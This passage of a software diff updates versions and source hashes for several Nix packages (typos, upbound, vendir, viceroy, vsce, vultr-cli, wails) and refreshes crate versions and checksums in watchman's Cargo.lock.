"typos"; - version = "1.16.25"; + version = "1.19.0"; src = fetchFromGitHub { owner = "crate-ci"; repo = pname; rev = "v${version}"; - hash = "sha256-prmMj8tVOm9P5EKkenero4YM9ccVU3JskTiHjup0oeQ="; + hash = "sha256-2beVIS6vzaX9k+M6545F/QDq6mxPTpmDDD2B9+eLxTk="; }; - cargoHash = "sha256-OBbLWsG22Rs4veQRDUgoFKcMnOKNOxK6rqBah8y3CnY="; + cargoHash = "sha256-GpooXnJc3ADQRhvVSnDjj6OOuQW+emVo5TGoshPI+WY="; meta = with lib; { description = "Source code spell checker"; diff --git a/pkgs/development/tools/upbound/default.nix b/pkgs/development/tools/upbound/default.nix index c1ac7b1a19b04..6d91ea46a9694 100644 --- a/pkgs/development/tools/upbound/default.nix +++ b/pkgs/development/tools/upbound/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "upbound"; - version = "0.24.1"; + version = "0.24.2"; src = fetchFromGitHub { owner = pname; repo = "up"; rev = "v${version}"; - sha256 = "sha256-1WSkNL1XpgnkWeL4tDiOxoKX6N5LYepD3DU0109pWC4="; + sha256 = "sha256-MDpe5CM5pgbrdVozh1yXiALLd8BkhrtNjL/su2JubcE="; }; vendorHash = "sha256-jHVwI5fQbS/FhRptRXtNezG1djaZKHJgpPJfuEH/zO0="; diff --git a/pkgs/development/tools/vendir/default.nix b/pkgs/development/tools/vendir/default.nix index 62f30354e68b8..0420ef5e73a62 100644 --- a/pkgs/development/tools/vendir/default.nix +++ b/pkgs/development/tools/vendir/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "vendir"; - version = "0.39.0"; + version = "0.40.0"; src = fetchFromGitHub { owner = "vmware-tanzu"; repo = "carvel-vendir"; rev = "v${version}"; - sha256 = "sha256-m8dxYq3RcfWFBxja2E3MUqYAl1CYpkrBWPeMIC/7Sgg="; + sha256 = "sha256-Hyx33/j9spZEEkKB5R2vUmEq8tjzoQiI2EKdyXymQR8="; }; vendorHash = null; diff --git a/pkgs/development/tools/viceroy/default.nix b/pkgs/development/tools/viceroy/default.nix index 2f3bfbe8c2c84..9ac438f36df2a 100644 --- a/pkgs/development/tools/viceroy/default.nix +++ b/pkgs/development/tools/viceroy/default.nix @@ -2,18 +2,18 @@ rustPlatform.buildRustPackage rec { pname = "viceroy"; - version = "0.9.3"; + version = "0.9.4"; src = fetchFromGitHub { owner = "fastly"; repo = pname; rev = "v${version}"; - hash = "sha256-LOm4d6SV5rlb7NovhSp7V0JIaOfHIZOqeIcpIvTsZsA="; + hash = "sha256-0eihk5zekp7sJ8fj1P0FT/JXWZ79j0U/hw5fjlbAJEo="; }; buildInputs = lib.optional stdenv.isDarwin Security; - cargoHash = "sha256-Pz+jA4uC/40mj5Jn/lB+XcoN/QSD23iLwsEowTUI0pg="; + cargoHash = "sha256-pSFeBA3ux90bCX9iIW6aTGMCytWW/euYHpYppIJoYGc="; cargoTestFlags = [ "--package viceroy-lib" diff --git a/pkgs/development/tools/vsce/default.nix b/pkgs/development/tools/vsce/default.nix index 5ba007818e3b4..065821afbf108 100644 --- a/pkgs/development/tools/vsce/default.nix +++ b/pkgs/development/tools/vsce/default.nix @@ -12,16 +12,16 @@ buildNpmPackage rec { pname = "vsce"; - version = "2.23.0"; + version = "2.24.0"; src = fetchFromGitHub { owner = "microsoft"; repo = "vscode-vsce"; rev = "v${version}"; - hash = "sha256-2s8hG3HNDQnuwFXZX1mCTSbKCm4n7YAzhHDaWVYTyys="; + hash = "sha256-MX+tGjz/Nn18ivfjQeOlQtQiyRkB1cGnLl2jlz5Str8="; }; - npmDepsHash = "sha256-1PVUDEecFW+lFmZOZUTlgeKsLwLK9O4vFHi6gOLjBfo="; + npmDepsHash = "sha256-Difk9a9TYmfwzP9SawEuaxm7iHVjdfO+FxFCE7aEMzM="; postPatch = '' substituteInPlace package.json --replace '"version": "0.0.0"' '"version": "${version}"' diff --git a/pkgs/development/tools/vultr-cli/default.nix b/pkgs/development/tools/vultr-cli/default.nix index e3be6f0366fdc..fc557907e4df7 100644 --- a/pkgs/development/tools/vultr-cli/default.nix +++ b/pkgs/development/tools/vultr-cli/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "vultr-cli"; - version = "2.22.0"; + version = "3.0.1"; src = fetchFromGitHub { owner = "vultr"; repo = pname; rev = "v${version}"; - hash = "sha256-DdiMrmvLa2ZaZen//+Qz4UxZwvn8DNgH9mYp/Q8Z4Uw="; + hash = "sha256-9akEDsBj2EpZtUBh0+Dck5otsmFzdvJshXxOtYVdi1o="; }; - vendorHash = "sha256-3sXqpeOZSiysZYOv15c+ZkMZOwqy3UCkvBEB1szaWFA="; + vendorHash = "sha256-jkl36S7h1l6FeeHEhc+PKOQO9Uq/4L5wTb8+PhG2exY="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/development/tools/wails/default.nix b/pkgs/development/tools/wails/default.nix index d0902b1c5cff0..c94139f7fedac 100644 --- a/pkgs/development/tools/wails/default.nix +++ b/pkgs/development/tools/wails/default.nix @@ -14,16 +14,16 @@ buildGoModule rec { pname = "wails"; - version = "2.7.1"; + version = "2.8.0"; src = fetchFromGitHub { owner = "wailsapp"; repo = pname; rev = "v${version}"; - hash = "sha256-KC5BkIaDLWT1soHr1FpfZWnEzyZTMUPaGMTap7P1W98="; + hash = "sha256-MHwIRanmgpjTKM+ILSQheCd9+XUwVTCVrREqntxpv7Q="; } + "/v2"; - vendorHash = "sha256-EoWsDo39tS4KbcOVgrd1esSzEseC2+ZfMj4+KvymwF8="; + vendorHash = "sha256-0cGmJEi7OfMZS7ObPBLHOVqKfvnlpHBiGRjSdV6wxE4="; proxyVendor = true; diff --git a/pkgs/development/tools/watchman/Cargo.lock b/pkgs/development/tools/watchman/Cargo.lock index d0ccfa032ade7..4da733140b480 100644 --- a/pkgs/development/tools/watchman/Cargo.lock +++ b/pkgs/development/tools/watchman/Cargo.lock @@ -4,9 +4,9 @@ version = 3 [[package]] name = "addr2line" -version = "0.20.0" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4fa78e18c64fce05e902adecd7a5eed15a5e0a3439f7b0e169f0252214865e3" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" dependencies = [ "gimli", ] @@ -19,14 +19,15 @@ checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" [[package]] name = "ahash" -version = "0.8.3" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ "cfg-if", "getrandom", "once_cell", "version_check", + "zerocopy", ] [[package]] @@ -40,9 +41,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.72" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b13c32d80ecc7ab747b80c3784bce54ee8a7a0cc4fbda9bf4cda2cf6fe90854" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "atty" @@ -63,9 +64,9 @@ checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" [[package]] name = "backtrace" -version = "0.3.68" +version = "0.3.69" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4319208da049c43661739c5fade2ba182f09d1dc2299b32298d3a31692b17e12" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" dependencies = [ "addr2line", "cc", @@ -84,24 +85,24 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "byteorder" -version = "1.4.3" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" dependencies = [ "serde", ] [[package]] name = "cc" -version = "1.0.82" +version = "1.0.83" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "305fe645edc1442a0fa8b6726ba61d422798d37a52e12eaecf4b022ebbb88f01" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" dependencies = [ "libc", ] @@ -129,17 +130,16 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "crossbeam" -version = "0.8.2" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2801af0d36612ae591caa9568261fddce32ce6e08a7275ea334a06a4ad021a2c" +checksum = "1137cd7e7fc0fb5d3c5a8678be38ec56e819125d8d7907411fe24ccb943faca8" dependencies = [ - "cfg-if", "crossbeam-channel", "crossbeam-deque", "crossbeam-epoch", @@ -149,62 +149,52 @@ dependencies = [ [[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", - "memoffset 0.9.0", - "scopeguard", ] [[package]] name = "crossbeam-queue" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "duct" -version = "0.13.6" +version = "0.13.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37ae3fc31835f74c2a7ceda3aeede378b0ae2e74c8f1c36559fcc9ae2a4e7d3e" +checksum = "e4ab5718d1224b63252cd0c6f74f6480f9ffeb117438a2e0f5cf6d9a4798929c" dependencies = [ "libc", "once_cell", @@ -226,9 +216,9 @@ checksum = "3a471a38ef8ed83cd6e40aa59c1ffe17db6855c18e3604d9c4ed8c08ebc28678" [[package]] name = "futures" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -241,9 +231,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -251,15 +241,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -268,38 +258,38 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.28", + "syn 2.0.48", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures 0.1.31", "futures-channel", @@ -316,9 +306,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.10" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "libc", @@ -327,9 +317,9 @@ dependencies = [ [[package]] name = "gimli" -version = "0.27.3" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6c80984affa11d98d1b88b66ac8853f143217b399d3c74116778ff8fdb4ed2e" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "heck" @@ -351,15 +341,15 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.2" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" +checksum = "5d3d0e0f38255e7fa3cf31335b3a56f05febd18025f4db5ef7a0cfb4f8da651f" [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "jwalk" @@ -379,15 +369,15 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.152" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" [[package]] name = "lock_api" -version = "0.4.10" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -395,9 +385,9 @@ dependencies = [ [[package]] name = "log" -version = "0.4.19" +version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b06a4cde4c0f271a446782e3eff8de789548ce57dbc8eca9292c27f4a42004b4" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "maplit" @@ -407,9 +397,9 @@ checksum = "3e2e65a1a2e43cfcb47a895c4c8b10d1f4a61097f9f254f183aee60cad9c651d" [[package]] name = "memchr" -version = "2.5.0" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" @@ -421,15 +411,6 @@ dependencies = [ ] [[package]] -name = "memoffset" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" -dependencies = [ - "autocfg", -] - -[[package]] name = "miniz_oxide" version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -440,13 +421,13 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.8" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "wasi", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] @@ -459,7 +440,7 @@ dependencies = [ "bitflags", "cfg-if", "libc", - "memoffset 0.6.5", + "memoffset", "pin-utils", ] @@ -478,33 +459,33 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.3.2", + "hermit-abi 0.3.4", "libc", ] [[package]] name = "object" -version = "0.31.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8bda667d9f2b5051b8833f59f3bf748b28ef54f850f4fcb389a252aa383866d1" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "os_pipe" -version = "1.1.4" +version = "1.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ae859aa07428ca9a929b936690f8b12dc5f11dd8c6992a18ca93919f28bc177" +checksum = "57119c3b893986491ec9aa85056780d3a0f3cf4da7cc09dd3650dbd6c6738fb9" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -519,22 +500,22 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.8" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", "redox_syscall", "smallvec", - "windows-targets", + "windows-targets 0.48.5", ] [[package]] name = "pin-project-lite" -version = "0.2.12" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12cc1b0bf1727a77a54b6654e7b5f1af8604923edc8b81885f8ec92f9e3f0a05" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" [[package]] name = "pin-utils" @@ -568,27 +549,27 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.66" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "quote" -version = "1.0.32" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50f3b39ccfb720540debaa0164757101c08ecb8d326b15358ce76a62c7e85965" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] [[package]] name = "rayon" -version = "1.7.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ "either", "rayon-core", @@ -596,21 +577,19 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.11.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ - "crossbeam-channel", "crossbeam-deque", "crossbeam-utils", - "num_cpus", ] [[package]] name = "redox_syscall" -version = "0.3.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags", ] @@ -623,9 +602,9 @@ checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "scopeguard" @@ -635,9 +614,9 @@ checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" [[package]] name = "serde" -version = "1.0.183" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "32ac8da02677876d532745a130fc9d8e6edfa81a269b107c5b00829b91d8eb3c" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] @@ -656,29 +635,29 @@ dependencies = [ [[package]] name = "serde_bytes" -version = "0.11.12" +version = "0.11.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ab33ec92f677585af6d88c65593ae2375adde54efdbf16d597f2cbc7a6d368ff" +checksum = "8b8497c313fd43ab992087548117643f6fcd935cbf36f176ffda0aacf9591734" dependencies = [ "serde", ] [[package]] name = "serde_derive" -version = "1.0.183" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aafe972d60b0b9bee71a91b92fee2d4fb3c9d7e8f6b179aa99f27203d99a4816" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.28", + "syn 2.0.48", ] [[package]] name = "serde_json" -version = "1.0.104" +version = "1.0.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "076066c5f1078eac5b722a31827a8832fe108bed65dfa75e233c89f8206e976c" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" dependencies = [ "itoa", "ryu", @@ -706,27 +685,27 @@ dependencies = [ [[package]] name = "slab" -version = "0.4.8" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" dependencies = [ "autocfg", ] [[package]] name = "smallvec" -version = "1.11.0" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] @@ -772,9 +751,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.28" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "04361975b3f5e348b2189d8dc55bc942f278b2d482a6a0365de5bdd62d351567" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -816,29 +795,29 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.44" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "611040a08a0439f8248d1990b111c95baa9c704c805fa1f62104b39655fd7f90" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.44" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "090198534930841fab3a5d1bb637cde49e339654e606195f8d9c76eeb081dc96" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" dependencies = [ "proc-macro2", "quote", - "syn 2.0.28", + "syn 2.0.48", ] [[package]] name = "tokio" -version = "1.30.0" +version = "1.35.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d3ce25f50619af8b0aec2eb23deebe84249e19e2ddd393a6e16e3300a6dadfd" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" dependencies = [ "backtrace", "bytes", @@ -851,18 +830,18 @@ dependencies = [ "socket2", "tokio-macros", "tracing", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.28", + "syn 2.0.48", ] [[package]] @@ -883,29 +862,28 @@ dependencies = [ [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", "pin-project-lite", "tracing-core", ] [[package]] name = "tracing-core" -version = "0.1.31" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", ] [[package]] name = "unicode-ident" -version = "1.0.11" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-segmentation" @@ -915,9 +893,9 @@ checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" [[package]] name = "unicode-width" -version = "0.1.10" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = 